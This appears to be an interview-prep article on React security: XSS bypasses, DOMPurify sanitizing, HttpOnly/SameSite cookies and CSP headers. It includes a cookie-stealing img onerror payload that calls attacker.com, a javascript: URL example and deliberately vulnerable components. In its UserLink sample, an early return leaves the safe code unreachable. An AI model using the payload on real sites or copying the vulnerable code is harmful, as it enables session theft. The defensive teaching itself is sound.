How Do You Safeguard a React Application?
Advertisement
🧩 Scenario
Architecture Walkthrough
What React Protects by Default and What It Does Not
React auto-escapes all string values rendered in JSX. A string like <script>alert(1)</script> assigned to a variable and rendered as {value} appears as literal text in the browser, not as a script tag, because React converts special HTML characters to their entity equivalents before inserting them into the DOM. This eliminates the most common form of XSS for content rendered through JSX.
Three common patterns bypass this protection. dangerouslySetInnerHTML accepts a { __html: string } object and inserts it directly into the DOM without escaping, making it a direct XSS vector if the string comes from user input or an external API. The href and src attributes accept javascript: URLs, which execute JavaScript when the user clicks or the browser loads them. Inline eval() or new Function() calls execute arbitrary code strings. React does nothing to prevent any of these.
XSS via Dynamic HTML
User-generated content that supports formatting (rich text editors, markdown renderers, blog comments with HTML) must be sanitized before insertion. DOMPurify processes an HTML string and removes any tags and attributes that could execute JavaScript, returning a safe subset. The allowlist approach (ALLOWED_TAGS, ALLOWED_ATTR) is safer than a denylist: permit only what you need rather than trying to block every possible attack vector.
JWT Storage and HttpOnly Cookies
Storing a JWT in localStorage makes it readable by any JavaScript running on the page, including scripts injected by an XSS attack. An HttpOnly cookie is inaccessible to JavaScript entirely — the browser sends it automatically on requests to the same domain but no script can read its value. For cross-domain API calls, configure SameSite=Strict or SameSite=Lax to prevent the cookie from being sent with cross-site requests, which mitigates CSRF without needing a separate CSRF token.
Content Security Policy (CSP) is a response header that tells the browser which origins scripts, styles, and other resources may be loaded from. A CSP that blocks inline scripts eliminates the impact of many XSS vulnerabilities by preventing injected scripts from executing even if they reach the DOM.
Key Code Explained
import DOMPurify from 'dompurify';
// XSS via dangerouslySetInnerHTML — vulnerable
function UnsafeBio({ bio }: { bio: string }) {
// If bio contains <script>...</script> or onclick="...", it executes
return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}
// Sanitized version — safe
function SafeBio({ bio }: { bio: string }) {
const sanitized = DOMPurify.sanitize(bio, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
});
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}
// href attack vector — javascript: URL
function UserLink({ url }: { url: string }) {
// Attacker sets url to "javascript:alert(document.cookie)"
// This executes when the user clicks — avoid this pattern
return <a href={url}>Visit</a>; // vulnerable
// Correct: validate the URL scheme
const safeUrl =
url.startsWith('https://') || url.startsWith('http://') ? url : '#';
return (
<a href={safeUrl} rel='noopener noreferrer' target='_blank'>
Visit
</a>
);
}
// Next.js: Content Security Policy via next.config.ts
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self'", // no inline scripts, no CDN scripts
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"connect-src 'self' https://api.yourapp.com",
].join('; '),
},
{
key: 'X-Content-Type-Options',
value: 'nosniff',
},
{
key: 'X-Frame-Options',
value: 'DENY', // prevents clickjacking via iframes
},
];
// In next.config.ts
const nextConfig = {
async headers() {
return [{ source: '/(.*)', headers: securityHeaders }];
},
};
// HttpOnly cookie setup (server-side — Next.js API route or middleware)
// This is a server concern, not a React concern
import { serialize } from 'cookie';
function setAuthCookie(res: Response, token: string) {
const cookie = serialize('session', token, {
httpOnly: true, // not readable by JavaScript
secure: true, // HTTPS only
sameSite: 'strict', // CSRF protection — not sent on cross-site requests
maxAge: 60 * 60 * 24 * 7, // 7 days
path: '/',
});
res.setHeader('Set-Cookie', cookie);
}
The rel="noopener noreferrer" on external links prevents the opened page from accessing window.opener (which could redirect the original tab) and strips the Referer header so the external site does not learn which page referred the user.
Tradeoffs
| Token storage | XSS readable | CSRF risk | Persists across tabs | Recommended |
|---|---|---|---|---|
| localStorage | Yes | No (not sent as header) | Yes | No |
| sessionStorage | Yes | No | No | No |
| HttpOnly cookie | No | Yes (mitigated by SameSite) | Yes | Yes |
| In-memory state | No | No | No | Yes (short sessions) |
What Interviewers Actually Check
- Whether you know what React auto-escapes and what bypasses it
- Whether you sanitize before
dangerouslySetInnerHTML - Whether you store JWTs in HttpOnly cookies rather than localStorage
- Whether you validate user input on both client and server
- Whether you know CSP as a defense-in-depth layer against XSS
Follow-Up Questions
- A CSRF attack succeeds against your API even though you use JWTs. How is this possible, and what two mitigations prevent it?
- How does a
nonce-based CSP differ from a hash-based one, and when would you use each in a Next.js app? - Your app uses a third-party analytics script. How do you allow it in your CSP without opening the policy to all external scripts?
- A user submits a comment containing
<img src="x" onerror="fetch('https://attacker.com?c='+document.cookie)">. Walk through what happens with and without DOMPurify sanitization. - How does
npm auditwork and what is its limitation as a security tool?
Common Candidate Mistakes
- Storing JWTs in localStorage because "it's easier" without understanding the XSS exposure
- Using
dangerouslySetInnerHTMLwith an unsanitized API response, trusting the server to send safe HTML - Validating input only on the frontend, which can be bypassed by sending requests directly to the API
- Not setting
SameSiteon cookies and not understanding the CSRF attack it prevents - Thinking
https://protects against XSS — encryption protects data in transit, not injected code in the DOM
Interview Readiness Checklist
Before you leave this question, make sure you can answer:
- Can you explain what React escapes and what it does not?
- Can you demonstrate sanitizing HTML with DOMPurify before using
dangerouslySetInnerHTML? - Can you explain why localStorage is insecure for JWTs and what the correct alternative is?
- Can you describe CSRF and explain how
SameSite=Strictprevents it? - Can you describe what a Content Security Policy does and how to add one in Next.js?
Summary
React auto-escapes string values in JSX, preventing the most common form of XSS. The three bypass patterns are dangerouslySetInnerHTML, javascript: URLs in href or src, and eval(). Sanitize HTML with DOMPurify using an explicit allowlist of permitted tags and attributes before passing it to dangerouslySetInnerHTML. Store JWTs in HttpOnly cookies, not localStorage, to prevent XSS attacks from stealing tokens. Add SameSite=Strict or SameSite=Lax to mitigate CSRF. Validate all inputs on the server regardless of frontend validation. Add Content Security Policy headers to limit the sources from which scripts can load, reducing the blast radius of any XSS that does reach the DOM. Run npm audit regularly and keep dependencies updated.
Is React secure by default?
React escapes all string values in JSX, which prevents the most common form of XSS. However, dangerouslySetInnerHTML, javascript: URLs in href/src attributes, and eval() bypass this protection. React never sends anything to a server or touches cookies — server-side security is entirely the developer's responsibility.
Advertisement
Stay Updated
Get the latest frontend challenges, interview questions and tutorials delivered to your inbox.
Advertisement